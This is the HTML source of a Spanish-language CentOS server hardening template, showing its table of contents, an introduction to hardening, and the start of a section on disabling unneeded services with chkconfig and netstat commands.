&lt;div align=&quot;center&quot; class=&quot;MsoNormal&quot; style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Verdana&amp;quot;,&amp;quot;sans-serif&amp;quot;;&quot;&gt;Plantilla de
aseguramiento S.O Centos&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: 12.0pt; line-height: 115%;&quot;&gt;INDICE&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;!--[if supportFields]&gt;&lt;span style=&#39;font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;font-weight:
normal&#39;&gt;&lt;span style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span
style=&#39;font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;mso-ascii-theme-font:minor-latin;
mso-hansi-theme-font:minor-latin&#39;&gt;&lt;span style=&#39;mso-spacerun:yes&#39;&gt; &lt;/span&gt;TOC \o
&quot;1-2&quot; \h \z \u &lt;/span&gt;&lt;span style=&#39;font-family:&quot;Calibri&quot;,&quot;sans-serif&quot;;
mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;font-weight:
normal&#39;&gt;&lt;span style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;b&gt;1&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Introducción&lt;/b&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;.. &lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span
style=&#39;color:windowtext;display:none;mso-hide:screen;text-decoration:none;
text-underline:none&#39;&gt;&lt;span style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt; PAGEREF
_Toc382492866 \h &lt;span style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;2&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:data&gt;08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800360036000000&lt;/w:data&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-end&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;2&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Desactivar
servicios no necesarios&lt;/b&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;. &lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt; PAGEREF _Toc382492867 \h &lt;span
style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;3&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:data&gt;08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800360037000000&lt;/w:data&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-end&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;3&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Remoción
de paquetes no usados&lt;/b&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;. &lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span
style=&#39;color:windowtext;display:none;mso-hide:screen;text-decoration:none;
text-underline:none&#39;&gt;&lt;span style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt; PAGEREF
_Toc382492868 \h &lt;span style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;3&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:data&gt;08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800360038000000&lt;/w:data&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-end&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;4&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Permisos
de archivos del sistema&lt;/b&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;. &lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt; PAGEREF _Toc382492869 \h &lt;span
style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;3&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:data&gt;08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800360039000000&lt;/w:data&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-end&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;5&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Remoción
de usuarios y grupos no necesarios&lt;/b&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;. &lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span
style=&#39;color:windowtext;display:none;mso-hide:screen;text-decoration:none;
text-underline:none&#39;&gt;&lt;span style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt; PAGEREF
_Toc382492870 \h &lt;span style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;4&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:data&gt;08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800370030000000&lt;/w:data&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-end&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;6&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Hardening
de Sysctl.conf&lt;/b&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt; &lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span
style=&#39;color:windowtext;display:none;mso-hide:screen;text-decoration:none;
text-underline:none&#39;&gt;&lt;span style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt; PAGEREF
_Toc382492871 \h &lt;span style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;5&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:data&gt;08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800370031000000&lt;/w:data&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-end&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;7&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Hardening
de Apache&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;8&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Hardening
de Nginx&lt;/b&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;. &lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span
style=&#39;color:windowtext;display:none;mso-hide:screen;text-decoration:none;
text-underline:none&#39;&gt;&lt;span style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt; PAGEREF
_Toc382492874 \h &lt;span style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;9&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:data&gt;08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800370034000000&lt;/w:data&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-end&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;9&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Hardening
SSH&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;10&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt; text-decoration: none;&quot;&gt;&lt;span style=&quot;mso-tab-count: 1;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;Actualización
de paquetes, Kernel y Sistema Operativo&lt;/b&gt;&lt;a href=&quot;file:///C:/Users/Antony/Dropbox/MASA/Aseguramiento/Plantillas%20de%20aseguramiento/Plantilla%20de%20aseguramiento-CENTOS.docx#_Toc382492876&quot;&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;&lt;span style=&quot;mso-tab-count: 1 dotted;&quot;&gt;.. &lt;/span&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span
style=&#39;color:windowtext;display:none;mso-hide:screen;text-decoration:none;
text-underline:none&#39;&gt;&lt;span style=&#39;mso-element:field-begin&#39;&gt;&lt;/span&gt; PAGEREF
_Toc382492876 \h &lt;span style=&#39;mso-element:field-separator&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;span style=&quot;color: windowtext; display: none; mso-hide: screen; text-decoration: none; text-underline: none;&quot;&gt;14&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:data&gt;08D0C9EA79F9BACE118C8200AA004BA90B02000000080000000E0000005F0054006F0063003300380032003400390032003800370036000000&lt;/w:data&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;/span&gt;&lt;!--[if supportFields]&gt;&lt;span style=&#39;color:windowtext;
display:none;mso-hide:screen;text-decoration:none;text-underline:none&#39;&gt;&lt;span
style=&#39;mso-element:field-end&#39;&gt;&lt;/span&gt;&lt;/span&gt;&lt;![endif]--&gt;&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;Calibri&amp;quot;,&amp;quot;sans-serif&amp;quot;; font-size: 11.0pt; font-weight: normal; mso-ascii-theme-font: minor-latin; mso-bidi-font-family: &amp;quot;Times New Roman&amp;quot;; mso-bidi-theme-font: minor-bidi; mso-fareast-font-family: &amp;quot;Times New Roman&amp;quot;; mso-fareast-language: ES-CO; mso-fareast-theme-font: minor-fareast; mso-hansi-theme-font: minor-latin;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;b&gt;1&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Introducción&lt;/b&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot; style=&quot;text-align: justify;&quot;&gt;
El Hardening o aseguramiento es el proceso de configuración de seguridad de sistemas, para reducir la mayor cantidad de riesgos y minimizar la cantidad de vulnerabilidades sobre dichos sistemas.&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot; style=&quot;text-align: justify;&quot;&gt;
Esta técnica es compuesta por un conjunto de acciones para reforzar al máximo posible la seguridad de los servidores y así protegerlos contra los ataques, cerrando brechas de seguridad y asegurando los controles de acceso.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoToc1&quot; style=&quot;text-align: justify;&quot;&gt;
Este proceso incluye la evaluación de la arquitectura de seguridad del servidor y la auditoria de la configuración de sus sistemas con el fin de desarrollar e implementar procedimientos de consolidación para asegurar sus recursos críticos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b style=&quot;text-align: start;&quot;&gt;2&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Desactivar servicios no necesarios&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;Este procedimiento permite determinar si se desea que un servicio se inicie o no automáticamente después de iniciado (boot) el sistema operativo.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;Revisamos los servicios que están corriendo y enlistamos todos los servicios que se inician con chkconfig&lt;/span&gt;&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border: 1px solid silver; cursor: text; direction: ltr; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 11px; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; width: 636.671875px;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;netstat -putan | grep listen&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;pre style=&quot;background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;pre style=&quot;border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 11px; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; width: 636.671875px;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   2:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;chkconfig --list&lt;/span&gt;&lt;/pre&gt;
&lt;/pre&gt;
&lt;div style=&quot;color: black; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt;&quot;&gt;
&lt;!--CRLF--

&gt;&lt;pre style=&quot;BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; 

LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 

0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: 

’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: 

none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; 

PADDING-TOP: 0px&quot;&gt;&lt;span style=&quot;COLOR: #606060&quot; id=&quot;lnum3&quot; &gt;   3:&lt;/span&gt; }

&lt;/pre&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;Para deshabilitarlos, utilizaremos el comando chkconfig:&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; &lt;span style=&quot;color: blue;&quot;&gt;chkconfig --level off&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;!--CRLF--

&gt;&lt;pre style=&quot;BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; 

LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 

0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: 

’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: 

none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; 

PADDING-TOP: 0px&quot;&gt;&lt;span style=&quot;COLOR: #606060&quot; id=&quot;lnum3&quot; &gt;   3:&lt;/span&gt; }

&lt;/pre&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;Es muy importante determinar el runlevel de arranque del sistema&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;
&lt;/span&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;si no se desea especificar el runlevel puede deshabilitarlo directamente con:&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;text-align: start;&quot;&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;div id=&quot;codeSnippetWrapper&quot; style=&quot;background-color: #f4f4f4; border-bottom: silver 1px solid; border-left: silver 1px solid; border-right: silver 1px solid; border-top: silver 1px solid; cursor: text; direction: ltr; font-family: ’courier new’, courier, monospace; font-size: 8pt; line-height: 12pt; margin: 20px 0px 10px; max-height: 200px; overflow: auto; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px; text-align: left; width: 97.5%;&quot;&gt;
&lt;div id=&quot;codeSnippet&quot; style=&quot;background-color: #f4f4f4; border-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; font-size: 8pt; line-height: 12pt; overflow: visible; padding: 0px; text-align: left; width: 100%;&quot;&gt;
&lt;pre style=&quot;background-color: white; border-left-style: none; border-right-style: none; border-top-style: none; direction: ltr; font-family: &#39;’courier new’&#39;, courier, monospace; line-height: 12pt; margin: 0em; overflow: visible; padding: 0px; size: 8pt; text-align: left; width: 100%;&quot;&gt;&lt;span style=&quot;color: black;&quot;&gt;&lt;span id=&quot;lnum1&quot; style=&quot;color: #606060;&quot;&gt;   1:&lt;/span&gt; &lt;/span&gt;&lt;span style=&quot;color: blue;&quot;&gt;chkconfig --del ip6tables&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;!--CRLF--

&gt;&lt;pre style=&quot;BORDER-BOTTOM-STYLE: none; TEXT-ALIGN: left; PADDING-BOTTOM: 0px; 

LINE-HEIGHT: 12pt; BORDER-RIGHT-STYLE: none; BACKGROUND-COLOR: white; MARGIN: 

0em; PADDING-LEFT: 0px; WIDTH: 100%; PADDING-RIGHT: 0px; FONT-FAMILY: 

’courier new’, courier, monospace; DIRECTION: ltr; BORDER-TOP-STYLE: 

none; COLOR: black; FONT-SIZE: 8pt; BORDER-LEFT-STYLE: none; OVERFLOW: visible; 

PADDING-TOP: 0px&quot;&gt;&lt;span style=&quot;COLOR: #606060&quot; id=&quot;lnum3&quot; &gt;   3:&lt;/span&gt; }

&lt;/pre&gt;
&lt;!--CRLF--&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;b&gt;3&lt;span style=&quot;color: windowtext; font-family: Calibri, sans-serif; font-size: 11pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;Remoción de paquetes no usados&lt;/b&gt;&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
